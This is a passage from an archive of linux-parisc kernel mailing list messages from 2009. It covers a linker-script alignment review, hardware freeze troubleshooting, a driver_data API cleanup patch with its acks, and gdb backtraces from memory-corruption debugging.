>>>  		CACHELINE_ALIGNED_DATA(L1_CACHE_BYTES)
>>>  		DATA_DATA
>>> @@ -133,14 +135,6 @@ SECTIONS
>>>  	}
>>>  	__bss_stop = .;
>>>  
>>> -
>>> -	/* assembler code expects init_task to be 16k aligned */
>>> -	. = ALIGN(16384);
>>> -	/* init_task */
>>> -	.data.init_task : {
>>> -		*(.data.init_task)
>>> -	}
>>> -
> This part moves away from a specific output section to including this in the
> .data output section - with the _same_ alignmnet.
> So the only issue here is that we move init_task before NOSAVE_DATA etc.
> 
> I do not see why you think this changes alignmnet?

Ugh. Of course you are correct. It doesn't change anything.
Patch is OK for me.
I missed the 16384 in INIT_TASK_DATA(16384).

Thanks,
Helge

From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dirk Van Hertem <dirk.vanhertem@ieee.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: random freezes B2000 running debian hppa lenny
Date: Mon, 04 May 2009 01:07:06 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <49FE239A.2000807@ieee.org>
References: <49FB108B.9030803@ieee.org> <20090503112554.GB6617@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241392446 25160 80.91.229.12 (3 May 2009 23:14:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 May 2009 23:14:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 04 01:13:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M0ksd-0007ll-J3
	for glpp-linux-parisc@gmane.org; Mon, 04 May 2009 01:13:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753172AbZECXNx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 May 2009 19:13:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753257AbZECXNx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 3 May 2009 19:13:53 -0400
Original-Received: from eline.schedom-europe.net ([193.109.184.70]:58432 "EHLO
	eline.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753172AbZECXNw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 May 2009 19:13:52 -0400
X-Greylist: delayed 401 seconds by postgrey-1.27 at vger.kernel.org; Sun, 03 May 2009 19:13:52 EDT
Original-Received: (qmail 9512 invoked by uid 507); 4 May 2009 01:07:11 +0200
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	eline.schedom-europe.net
X-Spam-Level: *******
X-Spam-Status: No, score=7.0 required=15.0 tests=BAYES_99 autolearn=disabled
	version=3.2.5
Original-Received: from ip194.16leu0-1.cityconnect.schedom-europe.net (HELO ?192.168.1.20?) (83.101.44.194)
  by eline.schedom-europe.net with SMTP; 4 May 2009 01:07:07 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <20090503112554.GB6617@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1650
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1650>

Hello Grant,

Thanks for the reply.

Grant Grundler wrote:
[Dirk's problems with HP and promise card removed]
>> So, my questions:
>> * Is this sata promise card the fault?
> 
> Likely, yes.
> 
>> * on the web, the errors on the display seemed to indicate hardware
>> problems, but any insight on that?
> 
> HW caught the error. Unless this happens w/o Promise care present,
> I'm not inclined to believe this is a HW problem.

I am now running it without the promise card, I'll keep you informed
whether it blocks or not (I'll run a small program on it to give it some
cpu load, as the mdadm raid stuff also gave it quite some cpu load and
it still may be a HW fault).

> 
>> * Best ways to solve this?
> 
> Capture "ser pim" output (aka PIM dump).

If that doesn't kill the machine in a day or so, I'll make sure I'll get
some output from the serial console with the promise card attached. My
VT220 seems to have died recently (do you happen to know what a black
screen and blinking "hold screen" and "lock" lights mean on a real VT220?).

In case I don't get the VT220 working, I'll make sure I'll connect using
minicom (if I just find that nullmodem cable and the adapter of that old
laptop with serial port :P).

Thanks for the help!

Dirk

ps: I could put my sata disks in an old i386 of course, but I like the
hp parisc better...


-- 
Dirk Van Hertem                       Dirk.VanHertem@esat.kuleuven.be
Electrical Engineering Department  http://www.esat.kuleuven.be/electa
K.U. Leuven, ESAT-ELECTA                         tel: +32-16-32.18.95
10, Kasteelpark Arenberg, B-3001 Heverlee        fax: +32-16-32.19.85
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random memory corruption with 64-bit SMP 2.6.30-rc4
Date: Mon, 4 May 2009 12:45:47 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <119aab440905040945s3148cb76sf525be6dbd3e9049@mail.gmail.com>
References: <20090503182553.GA1579@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1241455561 20289 80.91.229.12 (4 May 2009 16:46:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 May 2009 16:46:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 04 18:45:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M11Id-0003kL-4P
	for glpp-linux-parisc@gmane.org; Mon, 04 May 2009 18:45:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756674AbZEDQpt convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 May 2009 12:45:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756849AbZEDQps
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 May 2009 12:45:48 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.24]:9370 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756674AbZEDQpr convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 May 2009 12:45:47 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 9so1015146eyd.37
        for <linux-parisc@vger.kernel.org>; Mon, 04 May 2009 09:45:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=kVtsupvL6btlZ1+jaD5LLdP1gIhW6s/kMhyZ9+6t3nY=;
        b=vRnqB4HKc0KozWIRSPNa1vJQ7TFMMhvcLQwGLlNOgMEN0DeHtbYoI23OiQTkTo/NUA
         nQxXipHNH9fkKOW36g1Utpq8Gdtjn/neMUTYqDUO4Nosm0TKVfHVfCPfqc6aEfM21UuK
         xDS/X93t9A92Wo6j+YiNxTs2A2OM0qNVVFDyw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=UIhHTyUvjRbxmApQYK1OXbkHApfDtDVpUtFQwaXXEZ//RqgBgGxddUECv1Ae8EHWe8
         3e6RGlWDKgFDn7SknGUQVaNQVAk+yLhRo0keJvnf8M+AYcCyBl1CopexRgOKa+2GPLeO
         iM9KY879nwdHabq9p/aOKCsxeMmZ0YSEuoc5c=
Original-Received: by 10.216.38.68 with SMTP id z46mr1749316wea.6.1241455547081; Mon, 
	04 May 2009 09:45:47 -0700 (PDT)
In-Reply-To: <20090503182553.GA1579@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 9a66c8fd774f0a34
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1651
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1651>

On Sun, May 3, 2009 at 2:25 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> I'm not able to build gcc with 2.6.30-rc4. =A0Builds don't usually ge=
t
> beyond stage1. =A0A variety of applications generate SEGVs, the most =
common
> one being /bin/sh (bash). =A0I looked at one that seemed reasonably e=
asy
> to understand. =A0Quite a few of the SEGVs occur running _dl_fixup.

That is odd, but certainly a place where I would expect memory
corruption to bite you, since if you resolve the wrong address you
will likely crash.

> So, the values in $r20 and $ret0 are not consistent with the values i=
n
> memory pointed to by $r22. =A0I looked at the assembler code for do_l=
ookup_x
> and as far as I can tell, there is no way to avoid the path through
> do_lookup_x+364. =A0Further, $rp is consistent with do_lookup_x being
> called at its normal entry position. =A0So, either memory or $r22 is
> corrupt in the core dump.

Could you run the entire build with LD_BIND_NOW=3D1 set? Does it crash
anywhere else?

> The values like 0x000ca... probably are from bash.

Yes, the application would be at a low address.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove driver_data direct access of struct device
Date: Mon, 4 May 2009 13:13:59 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <20090504201359.GA23098@kroah.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241468916 847 80.91.229.12 (4 May 2009 20:28:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 May 2009 20:28:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Greg KH <greg@kroah.com>
To: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 04 22:28:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M14kM-0004i1-6P
	for glpp-linux-parisc@gmane.org; Mon, 04 May 2009 22:26:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755241AbZEDU0j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 May 2009 16:26:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755036AbZEDU0j
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 May 2009 16:26:39 -0400
Original-Received: from kroah.org ([198.145.64.141]:37873 "EHLO coco.kroah.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754227AbZEDU0i (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 May 2009 16:26:38 -0400
Original-Received: from localhost (c-76-105-230-205.hsd1.or.comcast.net [76.105.230.205])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	by coco.kroah.org (Postfix) with ESMTPSA id 3952548FAF;
	Mon,  4 May 2009 13:26:39 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1652
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1652>

From: Greg Kroah-Hartman <gregkh@suse.de>

In the near future, the driver core is going to not allow direct access
to the driver_data pointer in struct device.  Instead, the functions
dev_get_drvdata() and dev_set_drvdata() should be used.  These functions
have been around since the beginning, so are backwards compatible with
all older kernel versions.

Cc: linux-parisc@vger.kernel.org
Cc: Helge Deller <deller@gmx.de>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
---
 drivers/parisc/eisa.c      |    2 +-
 drivers/parisc/sba_iommu.c |    6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

--- a/drivers/parisc/eisa.c
+++ b/drivers/parisc/eisa.c
@@ -373,7 +373,7 @@ static int __init eisa_probe(struct pari
 	if (result >= 0) {
 		/* FIXME : Don't enumerate the bus twice. */
 		eisa_dev.root.dev = &dev->dev;
-		dev->dev.driver_data = &eisa_dev.root;
+		dev_set_drvdata(&dev->dev, &eisa_dev.root);
 		eisa_dev.root.bus_base_addr = 0;
 		eisa_dev.root.res = &eisa_dev.hba.io_space;
 		eisa_dev.root.slots = result;
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -2010,7 +2010,7 @@ void __init sba_init(void)
 void * sba_get_iommu(struct parisc_device *pci_hba)
 {
 	struct parisc_device *sba_dev = parisc_parent(pci_hba);
-	struct sba_device *sba = sba_dev->dev.driver_data;
+	struct sba_device *sba = dev_get_drvdata(&sba_dev->dev);
 	char t = sba_dev->id.hw_type;
 	int iocnum = (pci_hba->hw_path >> 3);	/* rope # */
 
@@ -2031,7 +2031,7 @@ void * sba_get_iommu(struct parisc_devic
 void sba_directed_lmmio(struct parisc_device *pci_hba, struct resource *r)
 {
 	struct parisc_device *sba_dev = parisc_parent(pci_hba);
-	struct sba_device *sba = sba_dev->dev.driver_data;
+	struct sba_device *sba = dev_get_drvdata(&sba_dev->dev);
 	char t = sba_dev->id.hw_type;
 	int i;
 	int rope = (pci_hba->hw_path & (ROPES_PER_IOC-1));  /* rope # */
@@ -2073,7 +2073,7 @@ void sba_directed_lmmio(struct parisc_de
 void sba_distributed_lmmio(struct parisc_device *pci_hba, struct resource *r )
 {
 	struct parisc_device *sba_dev = parisc_parent(pci_hba);
-	struct sba_device *sba = sba_dev->dev.driver_data;
+	struct sba_device *sba = dev_get_drvdata(&sba_dev->dev);
 	char t = sba_dev->id.hw_type;
 	int base, size;
 	int rope = (pci_hba->hw_path & (ROPES_PER_IOC-1));  /* rope # */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove driver_data direct access of struct
	device
Date: Mon, 4 May 2009 17:33:49 -0400
Lines: 70
Approved: news@gmane.org
Message-ID: <20090504213349.GD5468@bombadil.infradead.org>
References: <20090504201359.GA23098@kroah.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241472847 13463 80.91.229.12 (4 May 2009 21:34:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 May 2009 21:34:07 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, Greg KH <greg@kroah.com>
To: Greg Kroah-Hartman <gregkh@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 04 23:33:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M15nQ-0007nK-GS
	for glpp-linux-parisc@gmane.org; Mon, 04 May 2009 23:33:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754074AbZEDVdz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 May 2009 17:33:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754098AbZEDVdz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 May 2009 17:33:55 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:45252 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754074AbZEDVdy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 May 2009 17:33:54 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M15nJ-0002Qc-Vd; Mon, 04 May 2009 21:33:50 +0000
Content-Disposition: inline
In-Reply-To: <20090504201359.GA23098@kroah.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1653
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1653>

On Mon, May 04, 2009 at 01:13:59PM -0700, Greg Kroah-Hartman wrote:
> From: Greg Kroah-Hartman <gregkh@suse.de>
> 
> In the near future, the driver core is going to not allow direct access
> to the driver_data pointer in struct device.  Instead, the functions
> dev_get_drvdata() and dev_set_drvdata() should be used.  These functions
> have been around since the beginning, so are backwards compatible with
> all older kernel versions.
> 

Cool, applied and will be sent along tonight unless you'd rather merge
it yourself in which case:

Acked-by: Kyle McMartin <kyle@mcmartin.ca>

> Cc: linux-parisc@vger.kernel.org
> Cc: Helge Deller <deller@gmx.de>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>
> ---
>  drivers/parisc/eisa.c      |    2 +-
>  drivers/parisc/sba_iommu.c |    6 +++---
>  2 files changed, 4 insertions(+), 4 deletions(-)
> 
> --- a/drivers/parisc/eisa.c
> +++ b/drivers/parisc/eisa.c
> @@ -373,7 +373,7 @@ static int __init eisa_probe(struct pari
>  	if (result >= 0) {
>  		/* FIXME : Don't enumerate the bus twice. */
>  		eisa_dev.root.dev = &dev->dev;
> -		dev->dev.driver_data = &eisa_dev.root;
> +		dev_set_drvdata(&dev->dev, &eisa_dev.root);
>  		eisa_dev.root.bus_base_addr = 0;
>  		eisa_dev.root.res = &eisa_dev.hba.io_space;
>  		eisa_dev.root.slots = result;
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -2010,7 +2010,7 @@ void __init sba_init(void)
>  void * sba_get_iommu(struct parisc_device *pci_hba)
>  {
>  	struct parisc_device *sba_dev = parisc_parent(pci_hba);
> -	struct sba_device *sba = sba_dev->dev.driver_data;
> +	struct sba_device *sba = dev_get_drvdata(&sba_dev->dev);
>  	char t = sba_dev->id.hw_type;
>  	int iocnum = (pci_hba->hw_path >> 3);	/* rope # */
>  
> @@ -2031,7 +2031,7 @@ void * sba_get_iommu(struct parisc_devic
>  void sba_directed_lmmio(struct parisc_device *pci_hba, struct resource *r)
>  {
>  	struct parisc_device *sba_dev = parisc_parent(pci_hba);
> -	struct sba_device *sba = sba_dev->dev.driver_data;
> +	struct sba_device *sba = dev_get_drvdata(&sba_dev->dev);
>  	char t = sba_dev->id.hw_type;
>  	int i;
>  	int rope = (pci_hba->hw_path & (ROPES_PER_IOC-1));  /* rope # */
> @@ -2073,7 +2073,7 @@ void sba_directed_lmmio(struct parisc_de
>  void sba_distributed_lmmio(struct parisc_device *pci_hba, struct resource *r )
>  {
>  	struct parisc_device *sba_dev = parisc_parent(pci_hba);
> -	struct sba_device *sba = sba_dev->dev.driver_data;
> +	struct sba_device *sba = dev_get_drvdata(&sba_dev->dev);
>  	char t = sba_dev->id.hw_type;
>  	int base, size;
>  	int rope = (pci_hba->hw_path & (ROPES_PER_IOC-1));  /* rope # */
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <gregkh@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove driver_data direct access of struct
	device
Date: Mon, 4 May 2009 14:36:51 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20090504213651.GA31230@suse.de>
References: <20090504201359.GA23098@kroah.com> <20090504213349.GD5468@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241473242 14457 80.91.229.12 (4 May 2009 21:40:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 May 2009 21:40:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Greg KH <greg@kroah.com>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 04 23:40:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M15tP-000291-4c
	for glpp-linux-parisc@gmane.org; Mon, 04 May 2009 23:40:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756059AbZEDVkF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 May 2009 17:40:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755826AbZEDVkE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 May 2009 17:40:04 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:58975 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755776AbZEDVkD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 May 2009 17:40:03 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id B3DB687567;
	Mon,  4 May 2009 23:40:02 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090504213349.GD5468@bombadil.infradead.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1654

On Mon, May 04, 2009 at 05:33:49PM -0400, Kyle McMartin wrote:
> On Mon, May 04, 2009 at 01:13:59PM -0700, Greg Kroah-Hartman wrote:
> > From: Greg Kroah-Hartman <gregkh@suse.de>
> > 
> > In the near future, the driver core is going to not allow direct access
> > to the driver_data pointer in struct device.  Instead, the functions
> > dev_get_drvdata() and dev_set_drvdata() should be used.  These functions
> > have been around since the beginning, so are backwards compatible with
> > all older kernel versions.
> > 
> 
> Cool, applied and will be sent along tonight unless you'd rather merge
> it yourself in which case:
> 
> Acked-by: Kyle McMartin <kyle@mcmartin.ca>

Nope, feel free to send it yourself, no objection from me at all :)

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random memory corruption with 64-bit SMP 2.6.30-rc4
Date: Mon, 4 May 2009 22:13:06 -0400 (EDT)
Lines: 124
Approved: news@gmane.org
Message-ID: <20090505021307.181C64EE8@hiauly1.hia.nrc.ca>
References: <119aab440905040945s3148cb76sf525be6dbd3e9049@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241489602 17368 80.91.229.12 (5 May 2009 02:13:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 02:13:22 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 04:13:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1A9g-0000xq-64
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 04:13:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754155AbZEECNJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 May 2009 22:13:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755746AbZEECNJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 May 2009 22:13:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4704 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754155AbZEECNI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 May 2009 22:13:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 181C64EE8; Mon,  4 May 2009 22:13:06 -0400 (EDT)
In-Reply-To: <119aab440905040945s3148cb76sf525be6dbd3e9049@mail.gmail.com> from "Carlos O'Donell" at May 4, 2009 12:45:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1655>

> Could you run the entire build with LD_BIND_NOW=3D1 set? Does it crash
> anywhere else?

Got a lot further but bash SEGV'd again:

Program terminated with signal 11, Segmentation fault.
[New process 14746]
#0  0x00035ba4 in close_fd_bitmap ()
(gdb) bt
#0  0x00035ba4 in close_fd_bitmap ()
#1  0x00039d08 in ?? ()
#2  0x000373b8 in execute_command_internal ()
#3  0x00036d3c in ?? ()
#4  0x000382a4 in execute_command_internal ()
#5  0x00073a68 in parse_and_execute ()
#6  0x0004d840 in command_substitute ()
#7  0x00051e14 in ?? ()
#8  0x00053320 in ?? ()
#9  0x00056fa8 in expand_string_assignment ()
#10 0x00050f44 in ?? ()
#11 0x000512fc in ?? ()
#12 0x00053278 in ?? ()
#13 0x0003a0a4 in ?? ()
#14 0x000373b8 in execute_command_internal ()
#15 0x00038638 in execute_command ()
#16 0x00038310 in execute_command_internal ()
#17 0x00073a68 in parse_and_execute ()
#18 0x00025a1c in ?? ()
#19 0x000269a8 in main ()

Restarting, and it crashed again:

Core was generated by `/bin/sh ./libtool --tag=CXX --mode=compile /home/dave/gnu/gcc/objdir/./gcc/xgcc'.
Program terminated with signal 11, Segmentation fault.
[New process 32486]
#0  0x00000000 in ?? ()
(gdb) bt
#0  0x00000000 in ?? ()
#1  0x000ab3dc in ?? ()
#2  0x0006e930 in sh_xmalloc ()
#3  0x0004995c in stop_pipeline ()
#4  0x00037cec in execute_command_internal ()
#5  0x00038638 in execute_command ()
#6  0x00038310 in execute_command_internal ()
#7  0x00037a60 in execute_command_internal ()
#8  0x00038638 in execute_command ()
#9  0x000374c4 in execute_command_internal ()
